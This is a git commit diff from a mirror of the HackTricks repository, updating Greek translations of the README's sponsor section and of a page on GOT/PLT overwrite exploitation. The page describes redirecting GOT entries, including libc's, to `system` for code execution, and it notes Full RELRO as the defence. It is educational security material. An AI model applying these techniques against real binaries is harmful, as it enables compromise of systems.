mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2
This commit is contained in:
parent
fc70665c74
commit
01c425c98d
8 changed files with 376 additions and 137 deletions
BIN
.gitbook/assets/image (1201).png
Normal file
BIN
.gitbook/assets/image (1201).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 588 KiB |
50
README.md
50
README.md
|
@ -8,7 +8,7 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
|
||||||
**Καλώς ήρθατε στο wiki όπου θα βρείτε κάθε κόλπο/τεχνική/ό,τι έχω μάθει από CTFs, εφαρμογές στην πραγματική ζωή, αναγνώσεις ερευνών και ειδήσεις.**
|
**Καλώς ήρθατε στο wiki όπου θα βρείτε κάθε κόλπο/τεχνική/ό,τι έχω μάθει από CTFs, εφαρμογές στην πραγματική ζωή, αναγνώσεις ερευνών και ειδήσεις.**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Για να ξεκινήσετε ακολουθήστε αυτήν τη σελίδα όπου θα βρείτε την **κανονική ροή** που **πρέπει να ακολουθήσετε κατά τον έλεγχο ασφάλειας** ενός ή περισσότερων **μηχανημάτων:**
|
Για να ξεκινήσετε, ακολουθήστε αυτήν τη σελίδα όπου θα βρείτε την **κανονική ροή** που **πρέπει να ακολουθήσετε κατά τον ελέγχο ασφάλειας** ενός ή περισσότερων **μηχανημάτων:**
|
||||||
|
|
||||||
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
|
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
|
||||||
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
|
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
|
||||||
|
@ -20,9 +20,9 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**STM Cyber**](https://www.stmcyber.com) είναι μια εξαιρετική εταιρεία κυβερνοασφάλειας του συνθήματος **HACK THE UNHACKABLE**. Διεξάγουν τη δική τους έρευνα και αναπτύσσουν τα δικά τους εργαλεία χάκερ για να **προσφέρουν αρκετές αξιόλογες υπηρεσίες κυβερνοασφάλειας** όπως ελεγκτικές δοκιμές, Κόκκινες Ομάδες και εκπαίδευση.
|
[**Η STM Cyber**](https://www.stmcyber.com) είναι μια εξαιρετική εταιρεία κυβερνοασφάλειας της οποίας το σύνθημα είναι **HACK THE UNHACKABLE**. Διεξάγουν τη δική τους έρευνα και αναπτύσσουν τα δικά τους εργαλεία χάκερ για να **προσφέρουν αρκετές αξιόλογες υπηρεσίες κυβερνοασφάλειας** όπως ελεγκτικές δοκιμές, Κόκκινες Ομάδες και εκπαίδευση.
|
||||||
|
|
||||||
Μπορείτε να ελέγξετε το **blog** τους στο [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
Μπορείτε να ελέγξετε το **ιστολόγιό τους** στο [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
|
||||||
|
|
||||||
**Η STM Cyber** υποστηρίζει επίσης ανοικτά έργα κυβερνοασφάλειας όπως το HackTricks :)
|
**Η STM Cyber** υποστηρίζει επίσης ανοικτά έργα κυβερνοασφάλειας όπως το HackTricks :)
|
||||||
|
|
||||||
|
@ -32,7 +32,7 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (42).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (42).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**RootedCON**](https://www.rootedcon.com) είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένας ζωηρός σημείο συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε πεδίο.
|
[**Η RootedCON**](https://www.rootedcon.com) είναι το πιο σημαντικό συνέδριο κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένας ζωντανός χώρος συνάντησης για επαγγελματίες τεχνολογίας και κυβερνοασφάλειας σε κάθε πεδίο.
|
||||||
|
|
||||||
{% embed url="https://www.rootedcon.com/" %}
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
@ -44,7 +44,7 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
|
||||||
|
|
||||||
**Η Intigriti** είναι η **#1 στην Ευρώπη** στην ηθική χρήση και την **πλατφόρμα ανταμοιβής ευρημάτων ευπάθειας.**
|
**Η Intigriti** είναι η **#1 στην Ευρώπη** στην ηθική χρήση και την **πλατφόρμα ανταμοιβής ευρημάτων ευπάθειας.**
|
||||||
|
|
||||||
**Συμβουλή ανταμοιβής ευρημάτων ευπάθειας**: **Εγγραφείτε** στην **Intigriti**, μια προηγμένη **πλατφόρμα ανταμοιβής ευρημάτων ευπάθειας δημιουργημένη από χάκερς, για χάκερς**! Γίνετε μέλος μας στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε ανταμοιβές έως και **$100,000**!
|
**Συμβουλή ανταμοιβής ευρημάτων:** **Εγγραφείτε** στην **Intigriti**, μια προηγμένη **πλατφόρμα ανταμοιβής ευρημάτων ευπάθειας δημιουργημένη από χάκερς, για χάκερς**! Γίνετε μέλος στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε ανταμοιβές έως και **$100,000**!
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
|
@ -55,7 +55,7 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
|
||||||
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (45).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε εύκολα και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία κοινότητας στον κόσμο.
|
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία κοινότητας στον κόσμο.
|
||||||
|
|
||||||
Αποκτήστε πρόσβαση σήμερα:
|
Αποκτήστε πρόσβαση σήμερα:
|
||||||
|
|
||||||
|
@ -67,26 +67,21 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Συμμετέχετε στον διακομιστή [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ανταμοιβής ευρημάτων ευπάθειας!
|
Συμμετέχετε στον διακομιστή [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ανταμοιβής ευρημάτων!
|
||||||
|
|
||||||
**Εισαγωγή στο Hacking**\
|
* **Εισαγωγή στο Χάκινγκ:** Συμμετέχετε σε περιεχόμενο που εξερευνά την αγωνία και τις προκλήσεις του χάκινγκ
|
||||||
Συμετέχετε σε περιεχόμενο που εξετάζει την αγωνία και τις προκλήσεις του χάκινγκ
|
* **Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο:** Μείνετε ενήμεροι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
|
||||||
|
* **Τελευταίες Ανακοινώσεις:** Μείνετε ενήμεροι με τις νεότερες ανταμοιβές ευρημάτων που ξεκινούν και τις κρίσιμες ενημερώσεις πλατφόρμας
|
||||||
**Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο**\
|
|
||||||
Μείνετε ενήμεροι με τον γρήγορο κόσμο του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
|
|
||||||
|
|
||||||
**Τελευταίες Ανακοινώσεις**\
|
|
||||||
Μείνετε ενήμεροι με τις νεότερες ανταμοιβές ευρημάτων ευπάθειας που ξεκινούν και τις κρίσιμες ενημερώσεις της πλατφόρμας
|
|
||||||
|
|
||||||
**Συμμετέχετε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και αρχίστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!
|
**Συμμετέχετε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και αρχίστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
### [Pentest-Tools.com](https://pentest-tools.com/) - Το απαραίτητο εργαλείο δοκιμών διείσδυσης
|
### [Pentest-Tools.com](https://pentest-tools.com/) - Το απαραίτητο εργαλείο ελέγχου διείσδυσης
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Άμεσα διαθέσιμη εγκατάσταση για αξιολόγηση ευπαθειών & δοκιμές διείσδυσης**. Εκτελέστε μια πλήρη δοκιμή διείσδυσης από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που καλύπτουν από την αναγνώριση μέχρι την αναφορά. Δεν αντικαθιστούμε τους δοκιμαστές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση & εκμετάλλευση modules για να τους δώσουμε χρόνο να εξερευνήσουν βαθύτερα, να ανοίξουν κελιά και να διασκεδάσουν.
|
**Άμεσα διαθέσιμη εγκατάσταση για αξιολόγηση ευπαθειών & ελέγχου διείσδυσης**. Εκτελέστε μια πλήρη δοκιμή διείσδυσης από οπουδήποτε με 20+ εργαλεία & χαρακτηριστικά που καλύπτουν από την αναγνώριση μέχρι την αναφορά. Δεν αντικαθιστούμε τους δοκιμαστές διείσδυσης - αναπτύσσουμε προσαρμοσμένα εργαλεία, ανίχνευση & εκμετάλλευση modules για να τους δώσουμε χρόνο να εξερευνήσουν βαθύτερα, να ανοίξουν κελιά και να διασκεδάσουν.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/" %}
|
{% embed url="https://pentest-tools.com/" %}
|
||||||
|
|
||||||
|
@ -96,16 +91,13 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Η SerpApi προσφέρει γρήγορες και εύκολες πραγματικές APIs για **πρόσβαση στα αποτελέσματα αναζήτησης**. Αναζητούν σε μηχανές αναζήτησης, χειρίζονται διακομιστές μεσολάβησης, λύνουν captchas και αναλύουν όλα τα πλούσια δομημένα δεδομένα για εσάς.
|
Η SerpApi προσφέρει γρήγορες και εύκολες πραγματικές APIs για **πρόσβαση στα αποτελέσματα αναζήτησης στις μηχανές αναζήτησης**. Κάνουν scraping στις μηχανές αναζήτησης, χειρίζονται proxies, λύνουν captchas και αναλύουν όλα τα πλούσια δομημένα δεδομένα για εσάς.
|
||||||
|
|
||||||
Η συνδρομή σε ένα από τα σχέδια της SerpApi περιλαμβάνει πρόσβαση σε πάνω από 50 διαφορετικές APIs για την ανάκτηση δεδομένων από διάφορες μηχανές αναζήτησης, συμπεριλαμβανομένων Google, Bing, Baidu, Yahoo, Yandex και άλλων.
|
Η συνδρομή σε ένα από τα σχέδια της SerpApi περιλαμβάνει πρόσβαση σε πάνω από 50 διαφορετικές APIs για scraping διαφορετικών μηχανών αναζήτησης, συμπεριλαμβανομένων Google, Bing, Baidu, Yahoo, Yandex και άλλων.\
|
||||||
|
Σε αντίθεση με άλλους παρόχους, **η SerpApi δεν κάνει απλώς scraping οργανικών αποτελεσμάτων**. Οι απαντήσεις της SerpApi περιλαμβάνουν συνεχώς όλες τις διαφημίσεις, ενσωματωμένες εικόνες και βίντεο, γνωσιακούς γράφους και άλλα στοιχεία και χαρακτηριστικά που υπάρχουν στα αποτελέσματα αναζήτησης.
|
||||||
Σε αντίθεση με άλλους παρόχους, η SerpApi δεν απλώς αναζητά οργανικά αποτελέσματα. Οι απαντήσεις της SerpApi περιλαμβάνουν συνεχώς όλες τις διαφημίσεις, εικόνες και βίντεο, γνωστικά γραφήματα και άλλα στοιχεία και χαρακτηριστικά που υπάρχουν στα αποτελέσματα αναζήτησης.
|
|
||||||
|
|
||||||
Οι τρέχοντες πελάτες της SerpApi περιλαμβάνουν την Apple, τη Shopify και τη GrubHub.
|
|
||||||
|
|
||||||
Για περισσότερες πληροφορίες ελέγξτε το [blog](https://serpapi.com/blog/)** τους, ή δοκιμάστε ένα παράδειγμα στο [**παιχνίδι**](https://serpapi.com/playground)** τους.**
|
|
||||||
|
|
||||||
|
Οι τρέχοντες πελάτες της SerpApi περιλαμβάνουν την **Apple, τη Shopify και τη GrubHub**.\
|
||||||
|
Για περισσότερες πληροφορίες ελέγξτε το [**ιστολόγιό τους**](https://serpapi.com/blog/)**,** ή δοκιμάστε ένα παράδειγμα στο [**παιχνίδι τους**](https://serpapi.com/playground)**.**\
|
||||||
Μπορείτε να **δημιουργήσετε ένα δωρεάν λογαριασμό** [**εδώ**](https://serpapi.com/users/sign\_up)**.**
|
Μπορείτε να **δημιουργήσετε ένα δωρεάν λογαριασμό** [**εδώ**](https://serpapi.com/users/sign\_up)**.**
|
||||||
|
|
||||||
***
|
***
|
||||||
|
@ -120,11 +112,9 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
|
||||||
|
|
||||||
### [WebSec](https://websec.nl/)
|
### [WebSec](https://websec.nl/)
|
||||||
|
|
||||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src=".gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
[**WebSec**](https://websec.nl) είναι μια επαγγελματική εταιρεία κυβερνοασφάλειας με έδρα το **Άμστερνταμ** που βοηθάει στην **προστασία** επιχειρήσεων **σε όλο τον κόσμο** ενάντια στις τελευταίες κυβερνοασφάλειας απειλές παρέχοντας **υπηρεσίες επιθετικής ασφάλειας** με μια **σύγχρονη** προσέγγιση.
|
[**Η WebSec**](https://websec.nl) είναι μια επαγγελματική εταιρεία κυβερνοασφάλειας με έδρα το **Άμστερνταμ** που βοηθάει στην **προστασία** επιχειρήσεων **σε όλο τον κόσμο** ενάντια στις τελευταίες κυβερνοασφάλειας απειλές παρέχοντας υπηρεσίες **επιθετικής ασφάλειας** με μια **σ
|
||||||
|
|
||||||
Η WebSec ε
|
|
||||||
## Άδεια χρήσης & Αποποίηση Ευθυνών
|
## Άδεια χρήσης & Αποποίηση Ευθυνών
|
||||||
|
|
||||||
Ελέγξτε τα παρακάτω:
|
Ελέγξτε τα παρακάτω:
|
||||||
|
@ -141,7 +131,7 @@ _Τα λογότυπα και το σχεδιασμό κίνησης του Hack
|
||||||
|
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||||
|
|
||||||
|
|
|
@ -20,11 +20,11 @@
|
||||||
|
|
||||||
Ο **Πίνακας Παγκόσμιας Μετατόπισης (GOT)** είναι ένας μηχανισμός που χρησιμοποιείται σε δυναμικά συνδεδεμένα δυαδικά αρχεία για τη διαχείριση των **διευθύνσεων εξωτερικών συναρτήσεων**. Δεδομένου ότι αυτές οι **διευθύνσεις δεν είναι γνωστές μέχρι την εκτέλεση** (λόγω δυναμικής σύνδεσης), ο GOT παρέχει έναν τρόπο για τη **δυναμική ενημέρωση των διευθύνσεων αυτών των εξωτερικών συμβόλων** μόλις αυτά επιλυθούν.
|
Ο **Πίνακας Παγκόσμιας Μετατόπισης (GOT)** είναι ένας μηχανισμός που χρησιμοποιείται σε δυναμικά συνδεδεμένα δυαδικά αρχεία για τη διαχείριση των **διευθύνσεων εξωτερικών συναρτήσεων**. Δεδομένου ότι αυτές οι **διευθύνσεις δεν είναι γνωστές μέχρι την εκτέλεση** (λόγω δυναμικής σύνδεσης), ο GOT παρέχει έναν τρόπο για τη **δυναμική ενημέρωση των διευθύνσεων αυτών των εξωτερικών συμβόλων** μόλις αυτά επιλυθούν.
|
||||||
|
|
||||||
Κάθε καταχώρηση στο GOT αντιστοιχεί σε ένα σύμβολο στις εξωτερικές βιβλιοθήκες που μπορεί να καλέσει το δυαδικό. Όταν μια **συνάρτηση καλείται για πρώτη φορά, η πραγματική της διεύθυνση επιλύεται από το δυναμικό συνδέτη και αποθηκεύεται στο GOT**. Οι επόμενες κλήσεις στην ίδια συνάρτηση χρησιμοποιούν τη διεύθυνση που αποθηκεύεται στο GOT, αποφεύγοντας έτσι την υπερβολική καθυστέρηση της επίλυσης της διεύθυνσης.
|
Κάθε καταχώρηση στο GOT αντιστοιχεί σε ένα σύμβολο στις εξωτερικές βιβλιοθήκες που μπορεί να καλέσει το δυαδικό. Όταν μια **συνάρτηση καλείται για πρώτη φορά, η πραγματική της διεύθυνση επιλύεται από το δυναμικό συνδέτη και αποθηκεύεται στο GOT**. Οι επόμενες κλήσεις στην ίδια συνάρτηση χρησιμοποιούν τη διεύθυνση που αποθηκεύεται στο GOT, αποφεύγοντας έτσι την επιβάρυνση της επίλυσης της διεύθυνσης ξανά.
|
||||||
|
|
||||||
### **PLT: Πίνακας Σύνδεσης Διαδικασίας**
|
### **PLT: Πίνακας Σύνδεσης Διαδικασίας**
|
||||||
|
|
||||||
Ο **Πίνακας Σύνδεσης Διαδικασίας (PLT)** λειτουργεί στενά με το GOT και λειτουργεί ως τραμπολίνα για τη διαχείριση κλήσεων σε εξωτερικές συναρτήσεις. Όταν ένα δυαδικό **καλεί μια εξωτερική συνάρτηση για πρώτη φορά, ο έλεγχος περνά σε μια καταχώρηση στο PLT που σχετίζεται με αυτή τη συνάρτηση**. Αυτή η καταχώρηση PLT είναι υπεύθυνη για την κλήση του δυναμικού συνδέτη για την επίλυση της διεύθυνσης της συνάρτησης αν δεν έχει ήδη επιλυθεί. Αφού η διεύθυνση επιλυθεί, αποθηκεύεται στο **GOT**.
|
Ο **Πίνακας Σύνδεσης Διαδικασίας (PLT)** λειτουργεί στενά με το GOT και λειτουργεί ως τραμπολίνο για τη διαχείριση κλήσεων σε εξωτερικές συναρτήσεις. Όταν ένα δυαδικό **καλεί μια εξωτερική συνάρτηση για πρώτη φορά, ο έλεγχος περνά σε μια καταχώρηση στο PLT που σχετίζεται με αυτή τη συνάρτηση**. Αυτή η καταχώρηση PLT είναι υπεύθυνη για την κλήση του δυναμικού συνδέτη για την επίλυση της διεύθυνσης της συνάρτησης αν δεν έχει ήδη επιλυθεί. Αφού η διεύθυνση επιλυθεί, αποθηκεύεται στο **GOT**.
|
||||||
|
|
||||||
**Συνεπώς,** οι καταχωρήσεις GOT χρησιμοποιούνται απευθείας μόλις επιλυθεί η διεύθυνση μιας εξωτερικής συνάρτησης ή μεταβλητής. **Οι καταχωρήσεις PLT χρησιμοποιούνται για να διευκολύνουν την αρχική επίλυση** αυτών των διευθύνσεων μέσω του δυναμικού συνδέτη.
|
**Συνεπώς,** οι καταχωρήσεις GOT χρησιμοποιούνται απευθείας μόλις επιλυθεί η διεύθυνση μιας εξωτερικής συνάρτησης ή μεταβλητής. **Οι καταχωρήσεις PLT χρησιμοποιούνται για να διευκολύνουν την αρχική επίλυση** αυτών των διευθύνσεων μέσω του δυναμικού συνδέτη.
|
||||||
|
|
||||||
|
@ -38,7 +38,7 @@
|
||||||
|
|
||||||
Παρατηρήστε πώς μετά τη **φόρτωση** του **εκτελέσιμου** στο GEF μπορείτε να **δείτε** τις **συναρτήσεις** που βρίσκονται στο **GOT**: `gef➤ x/20x 0xDIR_GOT`
|
Παρατηρήστε πώς μετά τη **φόρτωση** του **εκτελέσιμου** στο GEF μπορείτε να **δείτε** τις **συναρτήσεις** που βρίσκονται στο **GOT**: `gef➤ x/20x 0xDIR_GOT`
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
||||||
|
|
||||||
Χρησιμοποιώντας το GEF μπορείτε να **ξεκινήσετε** μια **συνεδρία αποσφαλμάτωσης** και να εκτελέσετε το **`got`** για να δείτε τον πίνακα got:
|
Χρησιμοποιώντας το GEF μπορείτε να **ξεκινήσετε** μια **συνεδρία αποσφαλμάτωσης** και να εκτελέσετε το **`got`** για να δείτε τον πίνακα got:
|
||||||
|
|
||||||
|
@ -50,10 +50,18 @@
|
||||||
|
|
||||||
Ιδανικά, θα **αντικαταστήσετε** το **GOT** μιας **συνάρτησης** που **θα κληθεί με παραμέτρους που ελέγχετε εσείς** (ώστε να μπορείτε να ελέγξετε τις παραμέτρους που στέλνονται στη συνάρτηση συστήματος).
|
Ιδανικά, θα **αντικαταστήσετε** το **GOT** μιας **συνάρτησης** που **θα κληθεί με παραμέτρους που ελέγχετε εσείς** (ώστε να μπορείτε να ελέγξετε τις παραμέτρους που στέλνονται στη συνάρτηση συστήματος).
|
||||||
|
|
||||||
Αν **η `system`** **δεν χρησιμοποιείται** από το σενάριο, η συνάρτηση συστήματος **δεν θα έχει μια καταχώρηση στο PLT**. Σε αυτό το σενάριο, θα **χρειαστεί να διαρρεύσετε πρώτα τη διεύθυνση** της συνάρτησης `system` και στη συνέχεια να αντικαταστήσετε το GOT για να δείχνει σε αυτή τη διεύθυνση.
|
Αν **η `system`** **δεν χρησιμοποιείται** από το σενάριο, η συνάρτηση συστήματος **δεν θα** έχει μια καταχώρηση στο PLT. Σε αυτό το σενάριο, θα **χρειαστεί να διαρρεύσετε πρώτα τη διεύθυνση** της συνάρτησης `system` και στη συνέχεια να αντικαταστήσετε το GOT για να δείχνει σε αυτή τη διεύθυνση.
|
||||||
|
|
||||||
Μπορείτε να δείτε τις διευθύνσεις PLT με **`objdump -j .plt -d ./vuln_binary`**
|
Μπορείτε να δείτε τις διευθύνσεις PLT με **`objdump -j .plt -d ./vuln_binary`**
|
||||||
|
|
||||||
|
## Καταχωρήσεις GOT της libc
|
||||||
|
|
||||||
|
Ο **GOT της libc** συνήθως μεταγλωττίζεται με **μερικό RELRO**, κάνοντάς το ένα καλό στόχο για αυτό υποθέτοντας ότι είναι δυνατό να βρεθεί η διεύθυνσή του ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
|
||||||
|
|
||||||
|
Συνήθεις συναρτήσεις της libc θα καλέσουν **άλλες εσωτερικές συναρτήσεις** των οποίων ο GOT θα μπορούσε να αντικατασταθεί για να επιτευχθεί εκτέλεση κώδικα.
|
||||||
|
|
||||||
|
Βρείτε [**περισσότερες πληροφορίες για αυτή την τεχνική εδώ**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
|
||||||
|
|
||||||
## **One Gadget**
|
## **One Gadget**
|
||||||
|
|
||||||
{% content-ref url="../rop-return-oriented-programing/ret2lib/one-gadget.md" %}
|
{% content-ref url="../rop-return-oriented-programing/ret2lib/one-gadget.md" %}
|
||||||
|
@ -62,7 +70,7 @@
|
||||||
|
|
||||||
## **Προστασίες**
|
## **Προστασίες**
|
||||||
|
|
||||||
Η προστασία **Full RELRO** έχει σκοπό να προστατεύσει από αυτού του είδους την τεχνική με την επίλυση όλων των διευθύνσεων των συναρτήσεων όταν ξεκινάει το δυαδικό και καθιστώντας τον **πίνακα GOT μόνο για ανάγνωση** μετά από αυτό:
|
Η προστασία **Full RELRO** έχει σκοπό να προστατεύσει από αυτού του είδους την τεχνική επιλύοντας όλες τις διευθύνσεις των συναρτήσεων όταν το δυαδικό ξεκινά και καθιστώντας τον **πίνακα GOT μόνο για ανάγνωση** μετά από αυτό:
|
||||||
|
|
||||||
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
|
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
|
||||||
[relro.md](../common-binary-protections-and-bypasses/relro.md)
|
[relro.md](../common-binary-protections-and-bypasses/relro.md)
|
||||||
|
@ -71,14 +79,4 @@
|
||||||
## Αναφορές
|
## Αναφορές
|
||||||
|
|
||||||
* [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
|
* [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
|
||||||
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.git
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
|
||||||
|
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλ
|
|
||||||
|
|
|
@ -6,11 +6,11 @@
|
||||||
|
|
||||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
